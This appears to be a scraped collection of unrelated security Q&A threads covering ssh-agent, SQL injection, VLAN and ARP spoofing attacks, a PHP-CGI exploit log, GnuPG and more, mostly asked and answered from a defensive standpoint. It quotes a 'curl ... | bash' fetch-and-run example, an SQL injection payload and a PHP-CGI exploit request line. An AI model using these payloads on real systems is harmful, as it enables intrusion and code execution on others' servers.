OpenSSH uses well-known protocols that are implemented in OpenSSL; e.g., my ssh connection right now uses aes128-ctr to encrypt with hmac-md5 to verify integrity (the combination).  Granted if you actually trace through to see where aes128-ctr comes from, you'll find it ultimately is taken from the OpenSSL library.  (That is in libopenssh/cipher.c tells aes128_ctr to use EVP_aes_128_ctr which is going through the header file  #include "cipher.h" (libOpenSSH which includes #include <openssl/evp.h> (note OpenSSL) which defines EVP_aes_128_ctr that ultimately traces back to being implemented (after some wrappers to deal with different modes/sizes) in openssl/crypto/aes/aes_core.c.

EDIT:

Sorry wasn't clear to me  you were talking about ssh-agent.

As to using the private keys loaded into ssh-agent to encrypt or decrypt messages, no that is not possible.  The entire purpose of the ssh-agent is to limit use of the private key to only the one acceptable function (authentication in ssh).

Look at the source code of ssh-agent and the description of the functionality in PROTOCOL.agent.  For security, ssh-agent provides a very limited interface to using the stored ssh private keys.

For ssh2, the only use of the private key is to sign requests using your private key.  With ssh1 there's also process authentication challenges, but you really shouldn't use ssh1 anymore.  The other functions don't use the private key, but deal with key management.

Key challenges in SSH1 worked as fellows.  First, the remote end sends a challenge -- a random bit-string encrypted with the user's public key (known from authorized_keys file).  The user sends the challenge to ssh-agent, which uses the private key to decrypt the challenge message.  Then, ssh-agent takes the random bit-string and calculates a cryptographic hash of it, and sends back the cryptographic hash.  This verifies that the user was in possession of the private key, and only leaks the hash of the decrypted message -- but not the actual decrypted message.

Key challenges in SSH2 now work by sending signing requests.  Again, the remote server sends a random bit-string to the user.  Then ssh-agent takes that random-bit-string and uses their private key to cryptographically sign that message -- no decryption is performed.  The signature is sent back and the server verifies the signature by using the public key to validate it.

In the context of RSA, the public key is (N = p*q, e) and the private key (N, d), where d is constructed so d*e ≡ 1 (mod (p-1)(q-1)) (d can be calculated efficiently knowing e, p and q via Euclid's extended algorithm).  Then the method of signing is to hash (with SHA1) the random message h = sha1(r) and then raise the hash to a power with the private key S = h^d (mod N).  Then the server validates the signature S with the user's public key by calculating S^e (mod N) which due to Euler's totient theorem will be the hash of the sent message, which it will compare it against S^e ≡ (h^d)^e ≡ h^(d*e) ≡ h^(1 + (q-1)(p-1)) ≡ h (mod N).


How should source code security be checked? How to check whether the source code of an open-source project contains no malicious content? For example, in a set of source code files with altogether 30,000 lines, there might be 1-2 lines containing a malicious statement (e.g. calling curl http://... | bash).

Those projects are not well-known and it cannot be assumed that they are well-maintained. Therefore, the security of reusing their project source code cannot simply rely on blind trust (while it should be a reasonable assumption that it would be safe to download, verify, compile and run cmake directly, it doesn’t sound good to blindly use an arbitrary library hosted on GitHub).

Someone suggested that I filter the source code and remove all non-ASCII and invisible characters (except some trivial ones like line breaks). Then open each file with a text editor and manually read every line. This is somewhat time-consuming, requiring full attention when I read the code, and actually quite error-prone.

As such, I’m looking for general methods to handle such kind of situations. For example, are there any standard tools available? Anything I have to pay attention to if I really have to read manually?

There are automated and manual approaches.

For automated, you could start with lgtm - a free static code analyser for open source projects and then move to more complex SAST solutions.

For manual - you could build a threat model of your app and run it through OWASP ASVS checklist starting from it's most critical parts. If there is file deletion in your threat model - just call something like this: grep -ir 'os.remove('.

Of course it's better to combine them both.


VoIP call security: How does encrypting signalling protocol (SIP) protects RTP? Checking the data packets from many VoIP applications shows that SIP packets are encrypted with TLS. So the captured session shows no SIP signals at all, just simple TCP and TLS/SSL packets.
But surprisingly, RTP packets are well visible, with (dynamic) payload type, SSRC and data. In many cases where RTP is encapsulated with STUN, wireshark can dissect RTP from it. Of course, encrypting signalling packets hides the attacker to see which codec, bit rate is used, but does it protect from RTP packet being decoded, if somebody captured the session ? Applications used for example: LINE and KakaoTalk.

You are right in the fact that securing SIP communication is not sufficient.

RTP has got SRTP as his secured counterpart, so you may use

SIP over TLS to secure the control channel communication,
SRTP to encrypt the data channel communication (SRTP will need to rely on another protocol, like ZRTP, to securely exchange the keys/ More information can be found on SRTP Wikipedia page).

Of course you need your software/devices to be compatible with these protocols. Wikipedia also maintains a comparison chart between SIP software including the support of these security protocol.


Relative security of 'offline' vs 'online' password managers I am a long-standing KeePass user, but I find its browser integration and Android apps a bit ropey, and certainly harder work than a cloud-based solution such as Lastpass or Bitwarden. I have been trying both of those, and they are so much more convenient, but I do worry about how vulnerable they may be to attack.
I know these solutions talk of end-to-end encryption as a way of ensuring security, and I think I understand that in principle, but don't know enough about it to assess how foolproof it really is. I know they keep a copy of my password database on the cloud, but then I do that anyway by having my KeePass database file on cloud storage. Maybe the difference is that both the cloud storage password and the database password would be required to access my KP DB, but only one set of credentials would be required to access my Lastpass account (for example)? I've seen suggestions that if Lastpass (et al) were hacked, the data would be useless as it's all encrypted - is it really as straightforward as that?
The other consideration for me is that I like to maintain versioned backups of my KP DB, so not only do I have a local backup of the whole DB, but I can roll back to several versions ago if I realise there's an integrity problem with the DB. I don't know any (automated) way of doing that with Lastpass or Bitwarden (though I have only tried the free versions thus far).
I would be interested to get some views from people who are better versed in security matters than I am - at the moment I'm very tempted by the convenience of a cloud solution (with native Android app and Firefox & Chrome integration) but just can't decide if it's really a good idea (though I know millions of people have depended on them for a long time!).
p.s. have just seen something called KeeWeb which looks like some sort of KeePass-cloud hybrid, so I will be looking into that with interest!

One possible problem with online password managers is that your adversary could guess passwords to the password manager from anywhere in the world, while you need to have physical access to brute force on a local password manager. Also, if the KeePass DB is in cloud storage, the adversary needs to get the password to the cloud storage.


How to guarantee counter synchronisation between client and server for counter in hmac-based one time password implementation? This is a clone of a question I posted on Stack Exchange. Thought I might catch the eye of some different people who could help here.

We are trying to implement a hmac-based one time password protocol for use authenticating users over our api.

The idea is to encrypt a unique identifier for the user (uid) against a private key and an incremental counter. Then increment the counter for the next call.

encrypt(uid, private_key, counter)
# now increment the counter for the next call

Then on the server side, decrypt using the private key and the counter to get the user identifier (uid).

decrypt(encrpyted_string, private_key, counter)
# now increment the counter for the next received request

This works fine. Each call is completely unique (one time) because of the counter.

However how would we handle synchronisation of the counter? What happens if the client generates a request, increments the counter for the next call, and sends the request, but the server is offline and never receives the request, or there is an internet connectivity issue and the request never gets through - now the server and the client are out of sync with each other's counters.

Is this a case of "you should know if a request has been submitted"? I.e. we could add a response header from the server to say whether the counter has been incremented and only if it has do we increment the counter in the app too... but then the same could be said the other way around - we could send a request, the server receives it, increments its own counter and sends a response, but the internet connection has been interrupted whilst the server was processing its request and the app never receives the response, never increments its counter and therefore the two are out of sync again.

Thanks for any insight you can give me.

See HOTP, section E.4. This is reasonably well explained. The gist of the solution: when the counter on the server contains n, the server actually accepts as valid the one-time passwords corresponding to values n, n+1, n+2... up to (say) n+99. If what the client sent matches the one-time password for value n+37, then the client is accepted, and the new counter value in the server is set to n+38. The width of the range accepted by the server is a trade-off: a larger range tolerates clients which are widely out of synch, but it is more expensive on the server side (more potential one-time passwords to compute) and decreases security (since more distinct passwords will, at any time, be deemed "acceptable").


SQL injection using URL query string (web application/php server) Hacker is trying to attack the site by using the following SQL injection query to get the SQL version.

Using URL site. example:

www.abc.com/?queryParamString=(SELECT 9701 FROM(SELECT COUNT(*),CONCAT(0x71787a7171,(SELECT (ELT(9701=9701,1))),0x71767a6271,FLOOR(RAND(0)*2))X FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY X)a)

In my application, I am using prepared statmenets that queryParamString as a clear text into DB without any side effects.

My question:

Is there any best practices to sanitize the URL when PHP server receives a request to render the page.
Or any client-side practices?
Any pointers on how to prevent or how you would deal with this kind of attack

Best practice, server and client-side: always, always sanitise your inputs, outputs, and use prepared statements.

You could look at using a WAF (web application firewall) which will detect attempted SQL attacks etc and offer a layer of protection and also customise responses if they are detected.  Other than stopping an attacker via something like IP blacklisting, if you have an Internet-facing service then there will be malicious actors trying to attack.  To prevent this, you need secure, well-written code, such as prepared statements.


Does DNSSec have any benefit if used with IPSec-enabled IPv6? I'm not sure if the RFC's support a IPSec-only implementation of DNS, but if it does, what does that mean for DNSSec?

Is DNSSec an IPv4-only technology?

DNSSEC provides something rather different than IPSec, and either or both may meet your needs.  IPSec can encrypt packets and sign them, providing evidence that they come from something you trust, IF you have a PKI (Public Key Infrastructure) you can trust.  But that "IF" is a very tall order, especially given the presence these days in most common "trusted" default certificate stores of root certificates controlled by foreign governments whom I certainly wouldn't trust.

If you just want a private VPN, using only your own certificates and networks and your own DNS servers, IPSec may provide what you want.  But if you want to find out from the public network where to send your packets in the first place, i.e. via a secure mapping from domain names to IP addresses, that is what DNSSEC is for.

Note also, coming in the not-so-distant future (we hope) the almost-formed Keys In DNS (kidns) working group of the Internet Engineering Task Force, which will help integrate these and other security protocols in a way which gets around the current morass of "Certificate Authorities": http://www.spinics.net/lists/ietf-ann/msg57258.html

Update: the kidns working group proposal was adopted under the name DANE: DNS-based Authentication of Named Entities.  It wrote RFC6698 which was implemented in some tools and libraries and browser extensions, but did not become a mainstream browser feature.

Alternate technologies like certificate pinning (secse) potentially aided by HTTP Strict Transport Security have helped with the underlying issues.


System that manages real money I am working on a project that incorporates real money into peoples accounts. Their accounts are stored in a MySQL database and inside it there is a column called "BALANCE".

When the users send money through PayPal, the PayPal api will do a callback to my server which will credit that users Balance with whatever they sent through PayPal.

The problem is, I plan on making the altering users balance part only accessible by my application. The way the balance is updated is by the URL just setting the method as a GET and setting the amount to whatever and it credits the balance.

I do not want people to just be able to visit that callback URL and keep updating their balance fraudulently.

What security would I be able to put in place that will only let legitimate balance changes occur?

Sorry if I didn't explain this too well. If anyone has questions, I'll try and explain it better. Thanks.

I'll second Lucas's view that you should probably find someone more experienced than you to do this (you should find someone more experienced than me as well).  That said, I'll attempt to answer your question.

The PayPal API should provide a transaction ID or some other unique value.  Record that in your transaction log (you do have one, don't you?); if you see that value in a later transaction, you know the transaction isn't valid.  Record the invalid transaction in your audit log (you've got one of those as well, right?) and ignore it.


How do I know if a Google Chrome extension is leaking data? Many Google Chrome extensions require permissions to read the contents of webpages the user visits. How can the user verify whether and to what extent a certain Chrome extension leaks data?

According to developer.chrome.com:

  [Chrome Extensions] are built on web technologies such as HTML, JavaScript, and CSS.

This means, anything that could affect the behavior of an extension will exist in a plain-text format (as opposed to a binary). Chrome allows you to debug extensions, giving you a comparatively easy way to see what an extension is doing, and whether or not some behavior of an extension is potentially malicious.

This requires the user to be somewhat fluent in the above-mentioned technologies. There are certain attacks, purely using CSS, which can be used to exfiltrate data. Without knowledge of CSS or understanding of these attacks, it would be hard to identify them among megabytes of auto-generated CSS code.

A non-technical user will likely not be able to carry out such an analysis. In this case, it helps to follow typical security advice:

Only install extensions from credible sources (i.e. the Chrome Web Store)
Popular extensions are more likely to get audited than unknown extension
Only install extensions where the benefit greatly outweighs the risk
Pay attention to the permissions required by the extensions and if it makes sense that those permissions are requested


What are the security issues can be exploited to VLAN switches to compromise network? While VLAN switches can be used to provide security  between network segments using VLAN filtering rules. Is there any possibility to have an security issue which is exploited to VLAN switches?

As an abstraction, the operation of a managed switch can be described with three planes:

Management plane used to configure the switch (SSH, HTTP...).
Control plane that controls how the packets should be forwarded (L2) or routed (L3). It can learn from MAC addresses from the packets it sees and there are protocols swithes can use to share information, prevent loops (spanning-tree) or handle shortest routing paths (OSPF).
Data plane or forwarding plane that does the actual switching job.

Leaving aside the possible software vulnerabilities in the switch itself, the main issue remains how well the control plane and the management plane are protected from the data forwarded in the data plane. The data plane handles also all the control plane protocol traffic between the switches, and if the packet seen must be processed by the control plane, forwards the packet to it.
In a secure configuration, every access port can only see the traffic inside its own VLAN, and the switch should not accept any control plane protocol traffic from them. If any of these protocols is open on an access port, an attacker connected to it might mimic another switch and

jailbreak from its own VLAN e.g. by

becoming a spanning-tree root or a node with MitM position.
activating trunking on the port and seeing all traffic with 802.1Q tags (DTP, VTP, HSRP...)

cause DoS attacks e.g. by flooding CDP table, or flooding any BPDUs that will cause too much processing on the control plane, exhausting its resources

disable 802.1Q VLANs altogether, making all networks see each other (VTP).

Yersinia is a tool that automates all these tricks...
The management plane must be secured, because by altering the configuration its possible to remove any lower plane restrictions the port has. Ideally, you'd have a separated management VLAN altogether.


Why is ettercap targetting the whole network? I recently tried to do a MiTM attack on my network using ettercap.
I have a router, two windows 7 machines : Host A and Host B, and Backtrack on a VM.

In the ettercap window I added the router as TARGET 1, Host A as TARGET 2 then started Arp poisoning. When I checked the arp tables of Host B, I found that it was also targeted by the attack.

Any explanations? How can I exclude Host B?

Thank you.

EDIT :

After switching to Ettercap v0.8, the attack works correctly, only HOST B sees a spoofed router's mac address. Maybe it was a bug in the old version.

As explained here, some operating systems ignore some ARP responses. In particular, Linux will ignore unsolicited responses, but will use apparently legit request and replies from other hosts on the network. So the attacker must emit both fake requests and fake answers, and make sure that the target hosts see them nonetheless, which more-or-less implies the use of broadcast ethernet frames. By construction, broadcast frames propagate everywhere, so other hosts on the local network will be affected as well.

If you want to avoid poisoning host B while targeting the router, then you must send fake non-broadcast ARP responses that bear the router's MAC address (so that the router sees them), but they also must NOT bear the router's MAC address (so that the router does not ignore them as unsolicited responses), which is a bit self-contradictory.


This is the (URL) decoded value:

  POST /cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d
  suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d
  auto_prepend_file=php://input -d cgi.force_redirect=0 -d
  cgi.redirect_status_env=0 -n

This log entry tells me that an attempt has been made to exploit a PHP-CGI vulnerability from 2012.

It allows the attacker to override specific PHP configurations. In this case, one of the key modifications is to specify "auto_prepend_file=php://input" which will allow the attacker to send PHP code in the request body.

  How can I prevent from this attack ?

Regularly update your web server(s) and its components. It is also possible to prevent this earlier in the network by means of an IDS/IPS, which should detect this signature.


On a public wifi I just tried to access google over HTTPS and was forced on to HTTP, how? I'm on a coffee shop wifi. I just typed https://google.com in to my browser and noticed that I got redirected to http://google.com. I tried other google domains (google.ie) and these work fine, so presumably they're black listing certain domains.

What are the likely techniques for the owner of this wifi to achieve this?

This is actually a feature that Google support. If the person in control of the DNS servers for the network changes the CNAME for "www.google.com" to point to "nosslsearch.google.com" then Google will disable SSL for requests.

This is known as the NoSSLSearch option, more details are here: https://support.google.com/websearch/answer/186669?hl=en


Do any Exchange hardening guidelines recommend disabling OWA Webready? Should they? For the fourth time in over a year, Exchange OWA has put our internal network at risk due to a remote code execution flaw that exists on the server runtime.  This risk is compounded by the fact Microsoft won't support OWA in the DMZ.

The issue has to do with the CAS server's (also known as Outlook Web App / OWA) "Outside in" DLLs.  These are the files that parse PDFs and Word email attachments into HTML documents for HTML based preview.  I would compare this exploit to a server-side buffer overflow triggered by simply sending an email to an unsuspecting recipient.

According to this Microsoft's patch history, the webready sub-component isn't fairing too well security-wise with all these patches in a two year period:

MS13-061  (Note: Update recalled 8/14/2013 due to a bug)
MS13-012
MS12-080
MS12-058
MS16-079

  Note these files are developed by Sun/Oracle and the alerts were public long before Microsoft made these public.  This list may not be all inclusive, therefore a greater liability is implied.

Question

Is there any deployment guidance of Exchange Server that recommends disabling Webready as a part of the security guidance?
When did the security guidance (above, if it exists) get updated with the most recent advice?

The reason I'm asking is because Exchange is no longer supported in a DMZ or front-end backend configuration.  This means that any breach of OWA might breach my internal network.  (localservice mitigations aside)

The second reason I'm asking is so I can identify the most forward thinking, or most security conscious methodology that pertains to Exchange.  If such a thought-leader exists, I want to subscribe to their blog, purchase their consulting, etc.  Basically I want to be ahead of the curve and close whatever other security gaps may exist.  I want to know what other components should I disable.

Makerofthings7,

I'm not saying this is a definitive source for you, but it's the best I can find "straight from the horse's mouth":

WebReady security vulnerability reveals complexity of modern software engineering

In that article by Tony Redmond, he states a few interesting things:

  Microsoft recommends disabling the feature on all CAS servers, an
  approach that fixes the problem at the expense of removing some user
  functionality. You might consider such an approach to be a tad
  extreme, but a potential attacker might exploit the now-discovered
  weakness by encouraging a user to view an infected document (probably
  sent as a message attachment) with OWA after connecting to an
  internally-facing CAS

Now, whether you take that to mean "Microsoft temporarily recommends..." or whether Tony believes MS' approach is to disable it as it is simply a luxury item and security is more important...you'll have to make that call.  As he states a short bit later:

  As in all instances to do with security, you have to balance the
  potential risk of penetration and exploitation against the effect of
  applying a fix that removes user functionality. Of course, it’s
  entirely possible that no one cares about WebReady because it’s never
  used and so no one will miss it if you remove the feature from all
  servers.

One thing I did find interesting in the article (I know it doesn't quite help):

  Users of Exchange Online in Office 365 don’t need to worry about the
  problem as Exchange Online uses the online versions of Microsoft’s
  Office applications to view common file formats.

So, take it for what it is...one man's blog article (albeit with some merit) discussing the issue and possibly paraphrasing Microsoft's unofficial stance.


Given a Gnupg Public / Private key pair, how can I identify the strength of the encryption used? I have been using a key pair at home with gpg command line tool on Ubuntu, to encrypt password text files for a few years now. I no longer have any record of the type of encryption and bit length used when I created the keys so I would like to identify it and decide whether the encryption is strong enough for the next step, or whether I should create a stronger key pair and re-encrypt a bunch of files which I'd like to avoid.

The next step would be uploading the key pair as well as all passworded files to cloud hosting, probably Google Drive.  I assume that the cloud hosting may not be fully trust worthy and I need to maintain high encryption. Given that requirement, is a long passphrase (over 32 chars) enough to secure the private key?

is a long passphrase (over 32 chars) enough to secure the private key?

If it's cryptographically random, and has a large character set, then probably, unless a flaw is found.  Note that I would consider putting my secret key on someone else's machine a very high risk to begin with, and a risk even if I wrapped it inside another layer (7-zip or Truecrypt or something else).  The most secure practice is to keep the main private key entirely offline and only let subkeys out onto network connection machines, though that can be cumbersome.

  whether I should create a stronger key pair and re-encrypt a bunch of files which I'd like to avoid.

There are three levels of encryption to think about:

asymmetric encryption: This is used for signatures, as well as to encrypt the randomly generated key PGP/GPG use for symmetric encryption (of files)

You've identified this as RSA 2048, which as of March 2014 is "acceptable" for the forseeable future per U.S. NIST SP 800-131A and rated as "103 bits" of security (where "84 bits" is the minimum [few months of protection] level if your adversary has a $300 million budget) ECRYPT II Yearly Report on Algorithms and Key Lengths (2012), so that seems fine.
"gpg --list-keys" shows this automatically - 2048R means 2048 bit RSA, and 4096R means 4096 bit RSA.

symmetric encryption (of files): This is up to a combination of your public key's preferences and the capabilities of the gpg/pgp softare you use.  Since you're presumably using software with equal or better capabilities to what you used to generate the keys, this will be the first cipher in the list.

"gpg --edit-key [key]" followed by "showpref" will show this in human readable form.
within the edit-key section, you can use setpref to change these with a space-delimited list of ciphers, hashes, and compression algorithms.
This is 100% an aspect of the PUBLIC key and can be changed at any time - you can, in fact, have different public keys for the same secret key with different options, and all will work.
See GnuPG.org, Managing your own keypair
"gpg -vv [encrypted file]" will, in addition to decyrpting the file, actually show whatever was actually chosen to encrypt a given file - first it'll display (in your case) "gpg: encrypted with 2048-bit RSA key..." and then it'll display "gpg: [algorithm] encrypted data"
The above references agree that all AES key lengths are fine.  Three-key TripleDES is good through 2030 per the 2012 ECRYPT II analysis.  CAST5 was not analyzed.  CAMELLIA was not analyzed, but AFAIK is considered secure at this time; it's a European and Japanese cipher used in their standards instead of the U.S. AES cipher.

symmetric encryption (of your secret key, by your passphrase): This is the password hasing + encryption of your secret key.

"gpg --list-packets ~/.gnupg/secring.gpg" can be used to see this (change the path to your own secret keyring, of course)
Note that GPG 1.4.12 is listing "SHA1 protection" even when it lists "hash: 10" (i.e. SHA-512) as well.
"gpg --cert-digest-algo sha512 --s2k-cipher-algo CAMELLIA256 --s2k-mode 3 --s2k-digest-algo SHA512 --s2k-count 40480000 --gen-key" would, for instance, allow creating a fairly secure key.
"gpg --s2k-cipher-algo CAMELLIA256 --s2k-mode 3 --s2k-digest-algo SHA512 --s2k-count 40480000 --edit-key key" followed by "passwd" and saving a passphrase change (even to the SAME passphrase you have now) will change the encryption protecting an existing secret key.
Note that GPG tends to round --s2k-count up to a value it considers valid.


OpenVPN one account multiple servers & Load Balancing I have recently been experimenting with OpenVPN. My aim is to create a group of servers in different locations with a single username and password for each user stored in a central database. For example:

LOCATION1.ovpn
LOCATION2.ovpn
LOCATION3.ovpn
LOCATION4.ovpn
LOCATION5.ovpn

So a user can choose a location from the above list of ovpn files and login with a single username and password (e.g. username: dave and password: pass123 will work across all servers). Let's say the user selects LOCATION1.ovpn the system will then choose between 4 servers at that location depending on current connections (loadbalancing) and to also act as failover. I have done some research and seen from the OpenVPN documentation that this could be configured using the following approach:

remote server1.mydomain.example
remote server2.mydomain.example
remote server3.mydomain.example

I have successfully installed and configured all 20 servers. However, I am having issues getting the above configuration to work especially allowing users to authenticate with any of my servers with a single user and password set from a central point.

To do this you need to build your internal PKI first, then do IP/routing/user data replication on all your OVPN servers as you wish.

Pritunl has just solved these problem with mongodb, you might take a look and maybe follow this approach to replace with mysql/glusterfs ... whatever.


SPF, DKIM and DMARC - How do receiving/recipient mail servers know how and when to validate the mail? I have spent a bit of time researching SPF, DKIM and DMARC mechanisms however If I understand correctly, these help the recipient to confirm whether the domain is legitimate but only if they have these mechanisms configured correctly and implemented.

In a scenario where the recipient does not have these particular mechanisms in place or misconfigured, could a spammer potentially use my email address to send the recipient spam?

So far it looks like your organization relies on the fact that you have configured SPF, DKIM and DMARC correctly as well as all recipients, to completely prevent your domain from being spoofed.

Or am I misunderstanding something here?

SPF, DKIM and DMARC require both that these are setup by the legitimate sender and that these are verified by the recipient. In theory the combination of SPF+DMARC or DKIM+DMARC is sufficient at the sender side, where DKIM is the more robust regarding message forwarding. But if neither SPF nor DKIM is used by the sender and if no DMARC is setup by the sender and verified by the recipient (which implies verifying SPF/DKIM) then sender spoofing is possible.


How can we safely allow a client to perform penetration testing? A potential client is planning to do penetration testing on our SaaS.
Is it standard or fair for us to request things like the following?

An NDA from the pen tester
Details on who is performing the test (e.g., verifying they are accredited)
Restrictions (like no social engineering, DoS attack, etc.)
Targeting a staging server instead of production
A copy of the full report

Non-Disclosure Agreements
A NDA is a fairly standard thing in most penetration tests. No serious penetration tester will protest against an NDA.
The company conducting the penetration test may later approach you and ask you for your permissions to anonymously talk about the findings at your company for educational purposes, which you can always deny if you feel it would harm your business.
This could look like "In a penetration test for ACME Corp., we were tasked with testing a SaaS solution. During the test, we found that ..."
Details on who is performing the test
It makes sense to know who the actual testers are, just in case you need to contact them directly for one reason or another.  However, you should keep in mind that not all penetration testers have certifications yet, especially those who just started out. So it could very well be that a company may decide to also assign a newly hired penetration tester to the project so they get more experience, in addition to an already experienced team.
Restricted Scope
This is also very usual to see in penetration test projects. It's up to you to define the scope of the assessment, and as such also what kinds of tests a penetration tester is allowed to perform.
Testing Environment
Again, the scope is up to you. If you say you would rather offer a staging server than production, that is very reasonable. In fact, I always prefer testing on staging than on production environments, because I don't want to be the reason thousands of customers suddenly can't access their software anymore, simply because some exploit code I ran crashed a machine by accident.
A copy of the report
That's another reasonable request to make. In fact, you're getting a penetration test done on your software and you don't even have to pay for it. That's a win for you!


Why aren't digital signatures the standard way to authenticate web clients? The web is a mess of incompatible cookie schemes, asinine requirements ("your password must contain letters, numbers, and at least one symbol from !()-_., and must begin with a letter, and once you change it you can't reuse it"), and unreliable (not to mention centralized) third-party authentication protocols.

It seems to me that the web would be more secure and standardized if public keys were universally treated as online identities the way email addresses currently are. Authenticating a piece of information would be as simple as signing it cryptographically. It could even happen on the application layer, e.g. with an HTTP header Signature: algorithm=sha256;encoding=base64;signed-digest=...;public-key=...

Is public key cryptography truly unfit to serve universal identification and authentication on all internet layers? Or is non-cryptographic authentication a market failure?

The simplest answer is that key/certificate distribution is a difficult and expensive problem.

For certificates to work securely, you generally need some trusted authorities (typically CAs) to sign the certificates. Who would do this? You can't expect some trusted entity to go around and approve every internet user's certificate. You could use a web of trust, but this has it's own complications (Which signatures do we trust? Will casual internet users care about endorsing other people's certificates? Is it even secure to let them do so?). What about certificate revocation? How could you handle that nicely with millions of clients?


Does using a router connected to an unsecured WiFi network add security? If I connect a portable router like GL-AR150 to a public, unsecured Wi-Fi network at a hotel and create my own private, password-protected Wi-Fi network, how much more secure is this compared to just connecting straight to the hotel network?

Is there any added benefit to having the router instead connect to a VPN?
I'm only concerned with preventing snooping unencrypted data, not necessarily changing my IP address.

If you connect your router to the hotels network, two things can happen:

Network Bridge

In this case, your device behaves as a bridge to the actual network. This doesn't really add any security at all, as it just passes packages into the network. Any device connecting to your bridge effectively connects to the original hotel network.

NAT mode

This is more likely going to happen and probably what you are asking about. Your router creates a private network, your devices can connect to. The router controls this network which is different from the hotel's network.

Any package passed from your device D to the router R is treated the following way:

D looks up the destination IP and notices that it's not in its network
D sends the package to its configured gateway R
R notices that the destination IP is not in a network it's directly connected to and therefore intents to send it to its gateway, the hotels router/gateway.
R runs in NAT-mode. Therefore D's package is masqueraded before being sent.
R modifies the packages sender information to contain its own MAC and IP (IP is R's IP in the hotel network)
An answer to this package take the same route vice versa. R receives it, changes the destination information to D in its private network and passes it to D.

The security benefit is, that none of the devices outside of your routers private network can see any device in it, except the router itself. While this prevents attacks targeting your devices directly, your router can still be attacked. In addition, this does NOT encrypt your traffic by default. Your router still sends your data through the hotel's network, just like your device gave it to your router.

Using a VPN encrypts everything you send, even while it travels through the hotel's network until it reaches the VPN gateway. If this is your objective, your router alone is not sufficient.

Your options are either using a VPN, encrypted Proxy connection (SOCKS for example) or strictly enforcing HTTPS (or another encryption) on every connection you use (which is rather tricky).


'SSL Session Resumption using Cached Session IDs' Is supporting 'SSL Session Resumption using Cached Session IDs' by SSL Servers secure ? Is Session Hijacking possible in any way if this feature used ?

Yes, it's secure in that most implementations do it properly and the method is not flawed. However it does make it more likely that you'll reach a point where re-negotiation will occur - and there are a number of vulnerabilities in that area. OTOH disabling ssl sessions for HTTP will have a dire effect on performance.


Windows Firewall accepts a three-second unicast response from any source I have read this article but still has some doubts may be after that...

  The Windows Firewall feature in Microsoft Windows XP Service Pack 2
  (SP 2) accepts a three-second unicast response from any source
  address. This response is not subject to any filtering. This response
  must be received on the same port that Windows XP SP2 used to
  broadcast the original multicast or broadcast message.

  This feature enables programs and services that use multicast and
  broadcast messages to work correctly.

  Note This change does not apply to the IPv6 firewall.

I work with firewalls for many years but so far I have not read this concept. and can't describe it for studenst in my class in details.

Is this normal behaviour for firewalls, and what is the reasoning behind it?

This is not normal for firewalls, although it is almost like a stateful firewall policy, at least in spirit.

Multicast applications in 2004 (the time when SP2 was released) had many latency issues and various networking 'helps' were put in place to make the experience smoother. I suspect that MS added this 'feature' to assist online multimedia.


Connection changes after waking from sleep On Debian, Linux, I am using netstat to monitor connections. After waking my system from sleep, I noticed a change in one of the connections, using port 6667 for irssi (identified by PID).

I like to suspend my computer and wake from sleep, with my irssi open in a terminal emulator.

After performing /reconnect on irssi, everything returned to the oftc.net domain.

Below is the output of netstat at the point of performing /reconnect

Why did the connection change from oftc.net to getic.rdsnet.ro? Is my system security compromised? What can I do to check?

Don't be afraid, this is simply one of the several servers that host OFTC service.

Here is an explanation:

~$ dig +short irc.oftc.net
91.217.189.50
109.74.200.93
130.239.18.116
81.18.73.124
~$ for ip in $(dig +short irc.oftc.net|grep -E '^[0-9]') ; do dig +short -x ${ip} ; done
farad.oftc.net.
solenoid.acc.umu.se.
getic.rdsnet.ro.
plasma.oftc.net.

When querying DNS for ip for irc.oftc.net, DNS returns 4 records: this is round robin DNS, a kind of "poor people load balancing" ;-)

The server you reconnected to is legitimate as you can see...

EDIT
If you're un-familiar with Linux and dig command, then:

dig is to request DNS server.
dig +short only output usefull information (pretty cool for scripting).
dig -x will do reverse DNS request (getting the name from the IP).


Tracking phone in country when SIM is not supported Can the police track my cell phone if I left the country and went to another one and the SIM card is not supported by the country I went to?

Supported SIM or not, triangulation can still occur from the device pinging off of towers or signals, even if there is no data being moved across those specific mediums. This is an example you can look into, and is something the US has done overseas with drone activity. This is a broad question. Most likely though, it wouldn't be the police.

Another thing to consider is if you do use a network like WiFi, even if it's a new phone: connecting to accounts that can verify your identity (bank, social media, etc.) will also point to you. Very similar to opsec within VPN/Tor usage. If you have more specifics, feel free to ask. Otherwise you're going to get very broad answers.


Sharing a PGP Private Key I read often that you should not share a PGP private key. I understand that and it makes sense. If someone has my private key (and manages to obtain the password for it), I can be impersonated.

But are there usecases where sharing a private key is considered okay? Considering two scenarios, where we have a shared directory with only lax management of access rights to it:

Encrypting the file with a public key and sharing the (password protected) private key dedicated for this purpose
Encrypting the file with AES-256 (e.g. using 7-zip) and sharing the password

Having only these two options, I would consider the first one to be more secure.

Is there a better way to implement this access control if only the described infrastructure is available? I know both options are not ideal and also do not allow to revoke access for a specific user.

You tagged this question as pgp and mention PGP in the question title, so I am assuming that this is what you are asking about.

PGP (PGP, OpenPGP, GnuPG) has supported encrypting a file asymmetrically to several recipient keys for like forever (certainly for the last decade; probably for far longer).

For command-line GnuPG, the simple way to do this is to give multiple --recipient (-r) command line arguments listing the different keys. Other implementations will have some other way of accomplishing the same result.

Each recipient share their public key and controls their own corresponding private key, so no private key sharing is involved.

Technically, this creates multiple public-key encrypted session key packets in the resulting ciphertext file, each encrypted with a different recipient public key. This typically requires a few tens of bytes per recipient key, so the overhead can be considered minimal unless the number of recipient keys is huge.


Pokémon GO APK file contains malware In some countries, the game isn't launched officially yet, but this is getting vastly popular as people are downloading from links containing APK files. I suspect that it is possible that the file contains malwares. How to check for it?  What permissions that the app asks should I suspect?

As Alexander pointed out in the comments, checking permissions alone is not a reliable way to determine whether an APK is trustworthy or not. Especially not for an app like Pokémon Go, which is going to require a wide array of permissions in any case.

If you are forced to download an app from an unofficial source, one of the smartest things to do is to get it from a trusted source. The best thing would be if you had a real-world friend or family member with a Google Play account linked to a country where the app is released. That person could install the app from Google Play, copy the APK from their phone, and send it to you. This way you know you have a real, untampered APK, just like the original developers distributed it. Obviously, it is not often that you have such a friend, so on to the next option.

Apkmirror.com is run by the same people behind AndroidPolice.com, one of the biggest Android news websites. All uploads are manually vetted and approved, and only free apps are allowed so you won't find any 'cracked' APK or 'warez'.

